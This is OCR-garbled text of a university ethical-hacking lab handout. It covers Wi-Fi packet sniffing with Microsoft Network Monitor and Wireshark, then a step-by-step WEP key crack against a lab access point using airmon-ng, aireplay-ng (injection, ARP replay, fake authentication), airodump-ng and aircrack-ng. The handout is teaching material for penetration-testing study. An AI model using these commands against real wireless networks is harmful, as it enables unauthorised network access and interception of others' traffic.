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Wi-Fi is developed on IEEE 802.11 standards and is widely used in wireless communication. It
provides wireless access to application and data throughout a radio network.

Before you start performing any labs in this module, you have to configure your
environment so that vou can connect your machine to a wireless network. You will
need a wireless network adaptor and an access point for demo purpose.

o Tirst log-in to Windows 10 virtual machine and then plug in the WLAN
adaptor. Removable Devices window pops up, click OK to proceed as
shown in the screenshot.

The following devices can be connected to this wirtual machine using
the status bar or choosing VM > Removable Devices:

Linksys 802.11 g WLAN

Each device can be connected either to the host or to one virtual
machine at a time,

[ Do not show this hint again

e Now right-click your VM’s tab in the vmware menu bar and click
Removable Devices =2 Linksys 802.11 g WLAN —> Connect (Disconnect
from Host) as shown in the screenshot.

Clase Tab

Power

CI0y DV (SATAY +) Removabie Devices

= Network Adapter Pauge

Printer % Send Ctrl+ At Del
" Sound Card

Grab Input

Linksys 802.11 g WLAN Connect (Misconnect from Host) I

Change lcon...

Show in Status Bar
TRy
Reinstall Vivheare Tools..
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¢ Now in your virtual machine, open Network and Sharing Center and click
Change adapter settings.

Note: You can find Network and Sharing Center option in the Control
Panel.

Netwerk and Shanng Center

+ E « All Control Panel ltems » Metwork and Sharing Center v Search Control Panel

View your basic network information and set up connections

Contrel Panel Home

View your active networks

[ Change adapter settings ]

Change advanced sharing Network 5 Access type: Internet
settings Public netwerk Connections: [§ Ethernetd

Change your networking settings

¥ Set up a new connection or network

Set up a broadband, dial-up, or VPN connection; or set up a router or access point.

@ Troubleshoot problems
Diagno i

e In the Network Connections window, first disable vour wired network
interface (here Ethernet0) by selecting the network interface, right-click on
it and click Disable.

Note: If a pop-up appears, click Yes.

Ll Metwork Connections a -

4N -Pa Metwork and Internet » Network Connections » v Search Metwork Connections 0

Organize « Disable this network device Diagnose this connection Rename this connection  » EE = M o
!" | Ethernetd Eh Wi-Fi 3
g‘ MNetwork 3 i Mot connected
'ﬁéﬂ' Intel{R) 825741 Gigabit Metwork C... x d!'.m Compact Wireless-G USE Metwor...
®) Disable
Status

Diagnose

Bridge Connections

Create Shortcut
Delete

Rename

Properties
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e Now select vour wireless interface (here Wi-Fi 3) and click Connect To
button from the menu bar.

LT B etwork Connections

N @« Metwork and Internet » Metwork Connections w | Search Metwork Connections @

Organize - Disable this network device Diagnose this connection  » &5 + A 9

L‘_ EthernetD ‘-bl Wi-Fi 3
o= Disabled CEHLabs
W |ntel(R) 82574L Gigabit Metwork C... eﬂﬂ Compact Wireless-G USB Networ...

e Settings window appears with Wi-Fi settings being shown as default, select
your wireless interface and click Connect as shown in the screenshot.

g = F‘lgS

NETWORK & INTERNET Find a setting

- Wi-Fi 2

CEHLabs
ﬁ Secured

Connect automatically

Dr Carlene Campbell Page 4 of 23



®  You will have to enter the network security key and click Next to connect.

Settings

METWORK & INTERNET Find a setting

Wi-Fi 2

CEHLabs
fﬁ Secured

Enter the network security key

SRR BDON

[] share network with my contacts

e The virtual machine connects to the wireless network interface as shown in
the screenshot.

ettings

£53  NETWORK & INTERNET Find a setting

Wi-Fi 2

CEHLabs
ﬁ Connected, secured

(G

e In this way, vou can connect a wireless network to your virtual machines.
Repeat similar steps if vou are using the wireless network with other virtual
machine.

Note: You can use the adaptor for only one virtual machine at a time.

Dr Carlene Campbell Page 5 of 23



Relevant tools, software or application etc. needed for these labs can be located at:

https://uowtsd-
my.sharepoint.com/:f:/g/personal/carlene campbell uwtsd ac uk/Esg2rlJtVO1Ctg0sE6SkkmYBY
fP-tIBDOUYIBhdsJXBpmQ~?e=hI2RNr

Task 1: WiFi Packet Sniffing Using Microsoft Network Monitor and Wireshark

Microsoft Network Monitor is a packet analyzer which enables you to capture, view, and analyze
network data.

Lab Scenario

Wireless networks are inexpensive and easy to maintain when compared to wired
networks. An attacker can easily compromise a wireless network if proper security
measures are not used or if there is no appropriate network configuratdon. The
wireless network can be at risk to varous types of attacks, including access control
attacks, integrity attacks, confidentality attacks, availability attacks, authentcation
attacks, etc. Sniffing is the act of monitoring the network traffic using legitimate
network analysis tools. Hackers can use monitoring tools, including AiroPeek,
Ethereal, TCPDump, or Wireshark, to monitor the wireless networks. These tools
allow hackers to find an unprotected network that they can hack. Your wireless
network can be protected against this type of attack by using strong encryption and
authentication methods.

In this lab, we use Microsoft Network Monitor, a tool that can sniff network using a
wireless adapter. Because vou are the ethical hacker and a penetraton tester of an
organization, you need to check the wireless security and evaluate weaknesses present
in your organization.

Lab Objectives
The objective of this lab is to capture and analyze wireless packets in a network.

Pre- Activity exercise

To execute this lab you will need:
e Run this lab in Windows 10 machine
e Administrative privileges to run tools

e A client connected to a wireless access point
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https://uowtsd-my.sharepoint.com/:f:/g/personal/carlene_campbell_uwtsd_ac_uk/Esg2rIJtVO1Ctg0sE6SkkmYByfP-tlBDOUYIBhdsJXBpmQ?e=hl2RNr
https://uowtsd-my.sharepoint.com/:f:/g/personal/carlene_campbell_uwtsd_ac_uk/Esg2rIJtVO1Ctg0sE6SkkmYByfP-tlBDOUYIBhdsJXBpmQ?e=hl2RNr
https://uowtsd-my.sharepoint.com/:f:/g/personal/carlene_campbell_uwtsd_ac_uk/Esg2rIJtVO1Ctg0sE6SkkmYByfP-tlBDOUYIBhdsJXBpmQ?e=hl2RNr

Overview of Network Monitoring

A network monitoring system gives vou a full overview of what’s going on in vour
network at all tmes. A network monitor has the ability to manage multple servers
muldple devices such as switches, routers, firewalls,
etc. Learning to monitor your network 1s a great way to know the stress on vour
network infrastructure and to see what kind of demands it can handle from the users.
By knowing about all the overview information, it helps you to troubleshoot your
network and a good amount of data to build vour future growth plan for vour

and can also manage data from

networking infrastructure.

Lab:

1. Navigate to Start = All Apps = Microsoft Network Monitor 3.4 and
click Microsoft Network Monitor 3.4 to launch the application. The

application main window appears as shown in the screenshot.

N Mew Capture | ¥ Open Capture

<3 Parser Profiles = 2 Options &) How Dol

Getting Started with Micnasaft Netwark Manitar 3.4

L\ Users'asonDesldop dest cap

7] ot {EBSE-EC 1 T7AC SEAR-ASA T 280EF PO T7) Mioosoft 15ATAR
| Local Area Connection™ 3
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Microsoft Network Monitor 3.4

Microsoft Network Monitor is a tool for viewing the contents of network packets
that are being sent and received over a live network connection or from a
previously captured data file. It pravides filtering options for complex analysis of
netwark data.

What's New
s User Interface Refresh: The Metwork Monitor Ul has evolved. New
features have been added and previowsly hard-to-find features have
been made more readily available,

+ Parser Configuration Management: Farsers are now installed with
profiles that allow you to easily switch between parser
configurations with the Parser Profiles toolbar button, These
configurations are also cached, removing the need to recampile
when you switch between them,

Column Management: Metwaork Maonitor will automatically choose a
column layout based on the type of file being opened. This column
layout is applied to the Frame Summary Window, This layout can be
maodified and saved for future use. In addition, two extra layouts for
HTTP and TCP diagnostics are included,

Color Rules: Netwark Monitor can now save sets of Color Rules to
files for easy sharing. You can also right-click in the Frame Summary
and Frame Details windows to add a new Color Rule.




In the Select Networks window on the bottom-left, check only the
wireless interface (here Wi-Fi 3) and leave the other options unchecked.

B8 Properties ’ % P-Mode

Friendly Name

Description

Microsoft Teredo
Compact Wirele

[ | Local Area Connection® 3

Now click the New Capture button present in the menu bar, as shown

in the screenshot.
I Microsoft Network Monitor 3.4

File View Tools Help

T New Capture ), Open Cptur

Qﬁ Start Page 3 Parsers

Help

File Edit View Frames Capture Filter EBgpets Tools
3 New Capture | * Open Capture | Save As |[S5 Capture Seitings | b Stat W Fouie @ Sto

Captred i) Stant Page 3 Pamers

S | 7 Apply & Remove | & History = “Z Load Filter + g Save Filter (2 Clear Text
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5. Capture Settings window opens, double-click on the wifi adapter (here
Wi-Fi 3) in the select network adapters to capture section.

apture Settings: Captured

Current capture filter:
¥_Apply “& Remove | % History = “Z, Load Filter = g SaveFilter 2 Clear Text

Select network adapters to capture:

l? Properties | % P-Made

Friendly Name Description

O isatap. {GB%AECL 7?BC-4SAB—ASM 29DEF1F03B17} Microsoft ISATAP Adaptcr £

6. Network Interface Configuration window opens, click Scanning
Options button.

etwork Interface Configuration X

WiFi 3

Descaiption: Compact Wireless-G USB Network Adapter A
IPv4 Address: 10.0.0.4

IPv6 Address: fe80::e44e:7b62: 1c7f: 7f3e %13

Hardware Address: 68-7F-74-67-DB-F6

Permanent Address:

Media Type: Wifi

State: Stopped v
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WiFi Scanning Options window appears, tick the Switch to Monitor
Mode checkbox and click Apply button as shown in the screenshot.

WiFi Scanning Options

Keep this window open while capturing in monitor mode. Closing the window will restore all wireless
cards to default, local mode.

Select adapter: WiFi3

v]

Switch to Monitor Mode)

| Warning: Switching to Monitor Mode will break your wireless data connection. Returning to
* . Local Mode will restore connectivity.

(O select a layer and channel 802.11g

(®) Scan on layer(s) and channel(s)

@-~1802.11b
#=-fs02.119

8. Now elose the Scanning Options window by clicking the cross button

on the title bar.

Note: Do not press the Close and Return to Local Mode button or vour
settings will be reset.

"";_3” WiFi Scanning Options

Keep this window open while capturing in monitor mode. Closing the window will restore all wireless
cards to default, local mode.

Select adapter: |WiFi 3
[ switch to Moniter Mode
Warning: Switching to Monitor Mode will break your wireless data connection. Returning to
! _ Local Mode will restore connectivity.
(O select a layer and channel

(®) Scan on layer(s) and channel(s)

@ f£e02.11b
m-fAls02.11g

Close and Return to Local Mode | Apply |
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9. Close the Network Interface Configuration by clicking the OK button.

etwork Interface Configuration

WiFi 3

Description: Compact Wireless-G USB Network Adapter
IPv4 Address: 10.0.0.4

IPv6 Address: feB0::e44e:7b62: 1c7f: 7f3e%13
Hardware Address: 68-7F-74-67-DB-F6

Permanent Address:

Media Type: Wifi

State: Stopped

10. Close the Capture Settings window by clicking the Close button as
given in the screenshot.

X, Apply & Remove | “& History = “Z Load Filter = & Save Filter (2 Clear Text

Select network adapters to capture:

5 Properties | & P -Mode

Friendly Name Description

D isatap. {C8964EC 1-778C-45AB-A5A 1-230EF 1IF038 17} Microsoft ISATAP Adapter 22

[] Local Area Connection® 3 Microsoft Teredo Tunneling Adapter
Compact Wieless-G USB Network Adapter  10.0.0.4 fes

I Coptured () Stat Page 3 Pamers

letwork Conversations x| | Display Filter ;
-5 Press Star"butten tobedl | ' apoly % Remove | & History = 7, Load Filter = 7 SaveFilter 2 Clear Ted
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12. 'The application starts capturing packets and displays them in the Frame
Summary window. You can see the number of captured packets at the
bottom as shown in the screenshot.

Edt View Frames Capture Filter Experts Took Help
New Capture | * Open Capture Husamﬂa | 3 CoptureSeftings  # Tt W) Pause W Stop
® Cond () St Poge L Parsens

; [Display Fiter

Z. Apply & Remove | 3 History = % Load Filter ~

g Save Filter i Clear Text

a5

I

Ffind > § 1 [F Autoscrcll 53 Color Rules M, Alisses ~ B8 Columns v
cal Adusted  Time Offset Souroe

11:50: 28 AM 1/20/2018

11:50:28 AM 1/202018

11:50:78 AM 1/20/718 gém E43300]
11:50:28 AM 1/20/2018 524 E43300]
11:50:28 AM 18

11:50:28 AM 1/20/2018
11:50:38 &M 1/20/2018
1:50:38 AM 1/20/2018
11:50:28 AM 1/20/2018

)

i
H
&
¥

§

[ Managemanifia;
“Quesyld = Ox67C
\WiFi:| ManagementBe:
| Managemenifie:
<[ ManagementBe;
1| ManagemeniBe;
>

5335358555555

A e e e
| ERECOCEeENC AN~

13. Keep the packet capture running for a few minutes and then click the
Stop button in the menu bar.

Edit View Frames Capture Filter Bxperts Tools Help

Mew Capture | ¥ Open Capture |f Save Ac |-‘ﬁC3ptule‘Smings b St m Pause
Caplurel () StatPage 3 Pamers
letwork Conversations X
- £ waiting for netwark traffic.

¥_apply & Remove | & History v 7 Load Filter v

g SaveFilter (2 Clear Ted

14. Now click the Save As button as shown in the screenshot.

le Edit View Frames Capture Filter Experts Tools Help
New Capture | ¥ Open Capture ES&\!EM . S Copture Settings b Start | Fause @ o
Caplued () St Page (3 Parsers
C i X | | Display Filter
AR TrafR: L Apply & Remove | " History = 7 Load Filter =

(= B My Traffic
| -] <Unknown

i SaveFilter ) Clear Text
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15. save As window appears, select a location and input the filename (here
Desktop and test) and click the Save button.

Save As X
Savein: [- Desktop v] Q2@
* Name - Date medified Type
No items match your search.
Quick access
Desktop
| |
Libraries
This PC
¢ ;
Network
File name- [!M v] | Save
Saveastype:  Caplure File ["cap) v | Cancel
Frame selection
@ all captured frames
O Displayed frames
(O Selected frames
(O Frame range (eg. 1,3,5-12):
" Record display fiter in capture fie

16. Now launch wireshark. The wireshark main window appears, as shown in
the following screenshot:

le Edit View Go Capture Analyze Stanistics Telephony Wireless Tools Help
I HsB IRREB Res=TisEHaqan

N | Aoriy & display Biler . <Cirl-f>

Capture

asing this fiters [} [Enter 2 capture filter

| airPcap USB wireless capture adapter ne. 00 pedpm—mer
vEthernet (CEHW10 Internal Metwork Adapter) e M.
vEthernet (Default Switch) e
Ethernet Jed sl n

@& USBPcapl
@ USBPcap2

Learn
User's Guide - Wiki © Questions and Answers - Mailing Lists
You are running hark 2.4.2 (v2.4.2.0.gh You recelve automatic updates,
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17. In the wireshark main window, click File = Open t view the saved
packer caprure file for analysis.

M The Wireshark Network Analyzer
Edit View Go Capture Analyze

Open Recent
Merge...
Import from Hex Dump...

Close

Save
Save As...

File Set

Export Specified Packets...
Export Packet Dissections
Export Packet Bytes...
Export PDUs to File...
Export S5L Session Keys...
Export Objects

Print...

Quit

Ctrl+ 0O

Ctri+ W

Ctrl+S

Ctri+Shift+S

Ctri+P

13

Statistics Telephony Wireless Tools Help

QaQq Qs

cap (364 KB)
_0_20180111 (4676 KB)

18. Wireshark: Open Capture File window appears, select the test.cap file

and click open.

M Wireshark: Open Capture File

Lookin: | [Hl Desktop

°] @ @ = m-

Date modified Type

* G

1/20/2018 11:53 AM  Savvius P

Quick access

Desktop

Format:

Size:

Dr Carlene Campbell
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19. The test.cap file opens in Wireshark window showing you the details
of the packer for analysis. Here you can see the wireless packets
captured which were otherwise masked to look like ethernert traffic.

—

e Edt View Go Capture Analyse Stetistics Telephomy Wirdhess Tools Help
m B SREQa=2=EZF LI =EA]qaB

B [2cxiv a dngiay fiter

Time: Source Desonaton Protocol  JLength Info
1 0.000000000  Netgesr_e4:38:60 Broadcast [802.11 | 201 Beacon frame, SHe2745, Fhi=d, FIAES=........, BI=1_|
2 D.102526800 Netgeor_ed:25:80 Broadcast B82.11 291 Beacon frome, SN=278G, Fh=g, Flags=. ssies BImde
3 0.204915500  Netgeor_ed:}5:Q0 Groadcast 2,11 291 Beacon frome, SN=2747, Fh=0, Flags assey BImda
4 0. 307460500  Netgoor_od:38:00 Broadcast B92.11 201 Beacon frome, SN=2748, Fl=0, Flags=........, BI=1.
S B.AQSETESH0  18.0.0.3 18.0.8.258 BROWSER] 293 Locel Master Anncuncement CLIENT-@1, Workstation,.
G 0.409390600  Netgeor_od:38:00 Broadcast 92,11 201 Beacon frome, SN=2749, FH=8, Flaogs sniay Blsd.
7 0.5119608000  Netgeoor_od:35:00 Broadcazt B2.11 291 Beacon frome, SN=27%1, Fh=0, Flogs=.
8 0582107900  10.0.0.3 10.0.0.1 (o7 170 Standerd query Ox8do SRV _ldap. cp
9 B.614408400  Notgoor_od:20:00 Broadcast B02.11 291 Beacon frome, SN=2752, Fl=8, Flags
19 0.6284060300 10.0.0.3 18.0.0.1 DHS 123 Standerd query 8x67cS A wpod.CAST.com
11 0.716866400  Netgeor_ed:35:00 Broadcazt 211 201 Beacon fremwe, SN=2753, Fh=8, Flaogs
12 9.819331500  Netgeor_cd:38:00 Broadoast 92,11 201 Beacon frome, SN=2754, Fh=0, Flags
13 9.921551200  MNetgeor_ed:38:08 Broadoast B92.11 261 Beacon frome, SN=2755, Fi=0, Flags
14 1,024120900  MNetgeor_cd:38:00 Broadeast 92,11 201 Beacon frame, SN=2756, Fi=0, Flogs
15 1.066045000  10.0.0.3 10.0.0.1 s 128 Standerd guery @x7820 SOA Client-91.CAST.com

Frame 1: 281 bytes on wire (1668 bits), 281 bytes captured (1688 bits)
HetHon 882.11 capture header

8082.11 radle information

IEEE 502.11 Beacon frame, Flags: ........

TEEE 582.11 wireless LAN

20, You can access the saved packet caprure file anvtime, and by issuing
packet filtering commands in the Filter field, vou can narrow down the
packer search in an attempt to find packets containing sensible
information.

21. In real dme, atrackers enforce packet caprure and packer filtering
techniques to caprure packets containing passwords (only for websites
implemented on HTTP channel), perform artacks such as session
hijacking, and so on.

Lab Analysis

Analyze and document the results related to this b exercise. Provide vour opinion
of vour mrger’s security posture and exposure.

Dr Carlene Campbell
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Task 2: Cracking a WEP Network with Aircrack-ng for Windows

Airerack-ng is a network soffware suite consisting of a detector, packet sniffer, WEP
and WPA/WPA2-PSK cracker and analysis tool for 802.11 wireless networkes.

This trogram runs under I inuxe and Windows,
g

Lab Scenario

Network administrators can take steps to help protect their wireless network from
outside threats and attacks. Most hackers will post derails of any loops or exploits

online, and if they find a security hole, atackers will deseend in droves to test your
wireless network with it

WEP is used for wireless networks; always change vour SSID from the default,
before you actually connect the wireless router for the access point. If an 851D
broadeast s not disabled on an access point, the use of a DHCP server w
automatcally assign [P address to wireless chients should not be used, because war-

driving tools can easily detect your internal [P addressing if the SSII) broadcasts are
enabled and the DHCP is being used.

As an ethical hacker and penetration tester of an orpanization, your IT director will
assign vou the task of testng wireless secunty, exploiting the flaws in WEP, and

cracking the keys present in your organization’s WEP. In this lab, we discuss how
WPA keys are cracked using standard attacks such as Korek and PTW.

Lab Objectives
The objective of this lab is to protect wireless network from attackers.
In this lab, you will learn how to:

e Crack WEP using various tools

e Capture network traffic

e Analyze and detect wireless traffic

Pre- Activity exercise
To execute this lab, vou will need:
* A Windows 10 virtual machine running

»  [Kali Linux virmual machine

* Before starting this lab make sure that the Wireless Access point is

configured in WEP Encryption in Windows 10 machine

= This lab requires wireless network adapter installed on your machine.

If you don’t have this adapter, please do not proceed to the lab.

Dr Carlene Campbell
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Overview
WEP is a component of the IEEE 802,11 WLAN standards. Its primary purpose
is to provide confidentiality of data on wireless networks at a level equivalent to
that of wired LANs, which can use physical security to stop unauthorized access
o a nerwork., WEP uses a 24-bit initialization vector (IV) to form stream
cipher RC4 for confidentiality, and the CRC-32 checksum for integrity of wireless
rransmission. It has significant vulnerabilities and design flaws and can be easily
cracked.

Activity:

. Launch a Kali Linux virtual machine and login as root/toor.
2. Open a terminal window from the taskbar.

3. In a terminal window tvpe airmon-ng and press Enter. To find the
wireless adapter

ile Edit View Search Terminal Help
:~# lairmon-ng

HY Interface Driver Chipset

hy2 W 0 | rt2880ush Linksys WUSB54GC v3 882.11g Adapter [Ral
nk RT2076L]

b

4. Now purt the wireless adapter into monitor or promiscuous mode, to do
this type airmon-ng start wlan0 and press Enter.

5. By issuing this command airmon will change the interface name as
wlanOmon as shown in the screenshort.

lle Edit View Search Terminal Help
- #:alrmon-nq start wlane |
ound 3 processes that could cause trouble.
f airodump-ng, aireplay-ng or airtun-ng stops working after

short period of time, you may want to run 'airmon-ng check kill®

PID Name
476 NetworkManager

1333 wpa supplicant
3888 dhclient

Interface Driver Chipset
wlane rt28esusb Linksys WUSBS54GC v3 802.11g Adapter [Ralink RT2076L]

(mac80211 monitor mode vif enabled for [phy2lwlan® on [phy2]lwlano
(mac&021l station mode vif disabled for [phy2]wlang)
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6. Use airodump-ng to get the list of detected access points, and also a list
of connected clients (“stations™).

Type airodump-ng wlanOmon and press Enter. By issuing this command
we can see all the available Access Points (APs) and clients within our
range.

8. In this lab we are choosing CEHLabs to perform the WEP cracking,

le Edit View Search Terminal Help
:~# |airodump-ng wlan@mon|

CH 13 ][ Elapsed: 1 min ][ 2018
PWR . #fs C C CIPHER AUTH ESSID
CEHLab
25t
PSK . ASE3DD

Probe

ASE3DD

9. Before proceeding, check if the injection attack can be performed on the
target AP.

10. Now, open a new terminal window and type aireplay-ng -9 -e CEHLabs
-a 20:E5:2A:E4:38:00 wlanOmon and press Enter.

11. In the above command, where:
a. -9 1is for Injection Test
b. -e CEHLabs is Wirelesss Network Name
C. -a20:E5:2A:E4:38:00 is the MAC address of the Access Point
d. wlanOmon is the wireless interface name

12. While performing this process you should receive message as Injection
is working! as shown in the screenshot.

root@kali: ~

ile Edit View Search Terminal Help
# aireplay-ng -9 -e CEHLabs -a 20:E5:2A:E4:38:00 wlanOmon
Walting for beacon frame (BSSID:
Trying broadcast probe requests...
Injection is working!
Found 1 AP

Trying directed probe requests...

20:E5:2A:E4:38:00 - channel: 7 - |'CEHLabs'

Ping (min/avg/max): ©.579ms/5.391ms/11.241ms Power: -30.53
15/30: 50%
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3. Next, start airodump-ng to capture the Initialization Vector (IV) from

the AP.

14. By running this command airodump-ng will caprure rhe IVs generared
from the specific Access Point.

15. Open a new terminal window and type airodump-ng --bssid
20:E5:2A:E4:38:00 -¢c 7 -w WEPcrack wlanOmon and press Enter.

a. --bssid 20:E5:2A:E4:38:00 is the access point MAC address.
This eliminates extraneous traffic.

b. -e 7 is the channel number for CEHLabs nerwork

c. -w WEPcrack is the name to be prefix for the file which
contains the [Vs.

d. wlanOmeon is the interface name.

ToOt@Kal ~

ile Edit View Search Terminal Help
:~# |airodump-ng --bssid 20:E5:2A:E4:38:00 -c 7 -w WEPcrack wlan®mon

16. Next, we need to generate traffic between the AP and the station. Open
another terminal type aireplay-ng -3 -b 20:E5:2A:E4:38:00 -h
40:9B:CD:97:36:30 wilanOmon and press Enter.

17. It will generate ARP tratfic in the nerwork. The reason for choosing the
ARP request packets is because the Access Points will usually rebroadcast
them and this will generate the new IV,

ile Edit View Search Terminal Help

he interf MALC ;
ifeanfig wlan@mon

Waiti r an frame 1D

im replay arp-B8113-8&:
irodump-ng to ca
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18. The source MAC address should be associated with the access point in
order to accept the packet. The source MAC address, which is used o
inject the packets has no connection with the Access Point; so the AP
usually ignores the packets and sends our a DeAuthentication packer in
a clear text. In order to create a fake authentication, we need to assocliate
it with the Access Point.

19. Next, use aireplav-ng to do a fake authentication with the access point,
this will generate authentication packers in the traffic. Open a new
terminal tvpe aireplay-ng -1 0 -e CEHLabs -a 20:E5:2A:E4:38:00 -h
40:9B:CD:97:36:30 wlanOmon and press Enter.

a. =1 means fake authenticarion

b. 0 reassociation timing in seconds

c. -e CEHLabs is the wireless nerwork name

d. -a20:E5:2A:E4:38:00 is the access point MAC address
€. =h40:9B:CD:97:36:30 is our card MAC address

f.  wlanOmon is the wireless interface name

ile Edit View Search Termimal Help

4:53:32 5 ] 2A:E4:38:80) on channel 7
ion Reguest (Openm System) [ACK]

st [ACK]

-1 [AID:

20. Switch back to the terminal where airodump-ng is running. Wait tll the
number of captured packer reaches the range of 15,000-20,000. Press
Ctrl+C to stop the caprure.

][ Elapsed: 54 mims ][ 20618-81-13 85:30 ][ fixed channel wlan&mon:

PWR RX0D Beacons #Data, #/s CH MB ENC CIPHER

-32. Bl [20509] S4e. WEP WEP

BSSID STATION PWR Rate Lost Frames Prob

20:E5:2A:E4:38:00  4¢ 97:36:38 0  Sde- 3636 16516
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21. Now, launch the aircrack-ng to recover the WEP key from the caprure
file. Type aircrack-ng WEPcrack-01.cap and press Enter.

22. By issuing the above command aircrack-ng will crack the WEP key of the
CEHLabs as shown in the screenshot.

ile

pening WEPcrack-01.cap
ead 2464654 packets.

# BSsID ESSID Encryption

1 20:E5:2A:E4:38:00 CEHLabs WEP (20509 IVs)

hoosing first network as target.

pening WEPcrack-@l.cap
ttack will be restarted every 5808 captured ivs.
tarting PTW attack with 28589 ivs.

Airecrack-ng 1.2 recd

[eB:0B:00] Tested 88 keys (got 13614 IVs)

@

o

- D
=
—+

=

Mo BJ OO LU

byte({vote)

98(18432) BB(17928) 3B(17488) 5D(17408)
48(18176) 23(17920) 92(17408) C3(17488)
31(20224) 15(18688) TE(18688) 3B(18176)
97(22016) ©3(19456) 48(18432) TD(18432)
49(20480) BF(19968) 14(18432) D7(18176)

i

e L B = D0
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23. Now we will be connecting the CEHLabs access point. To do this
navigate to the top right-side corner of the deskrop and click the down
arrow icon as shown in the sereenshort, and click Wi-Fi connectivity to

search for available Access Points.

Wired Unmanaged

Wi-Fi Not Connected

# VPN Off

&  Proxy Automatic

1 root

24. It will display the available Access Points, click CEHLabs access point
from the list. As soon as vou click on the CEHLabs Access point, it will
prompt vou for the Authentication pop-up.

25. Type the key that vou have cracked in the Task 5, and click Connect.

Passwords or encryption keys are required to access
the wireless network "CEHLabs".

Hey; -.-.-ooo-ﬂ
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26. Once vou click Connect button on the Authentication required pop-up,
vou will be connected to the CEHLabs access point as shown in the
screenshot.

Wired Unmanaged
CEHLabs

VPN Off

Proxy Automatic

27, An arracker uses this kev to connect to the access point and then enters
the respective nerwork. Once he /she enters the network, he /she can use
scanning tools to scan for open devices, perform vulnerability analysis,
and then start exploiting them.

Lab Analysis

Document the BSSID of the wmarger wireless network, connected clients, and
recovered WEP keyv. Analyze various Airecrack-ng atracks and their respective dam
packet generaton rate.
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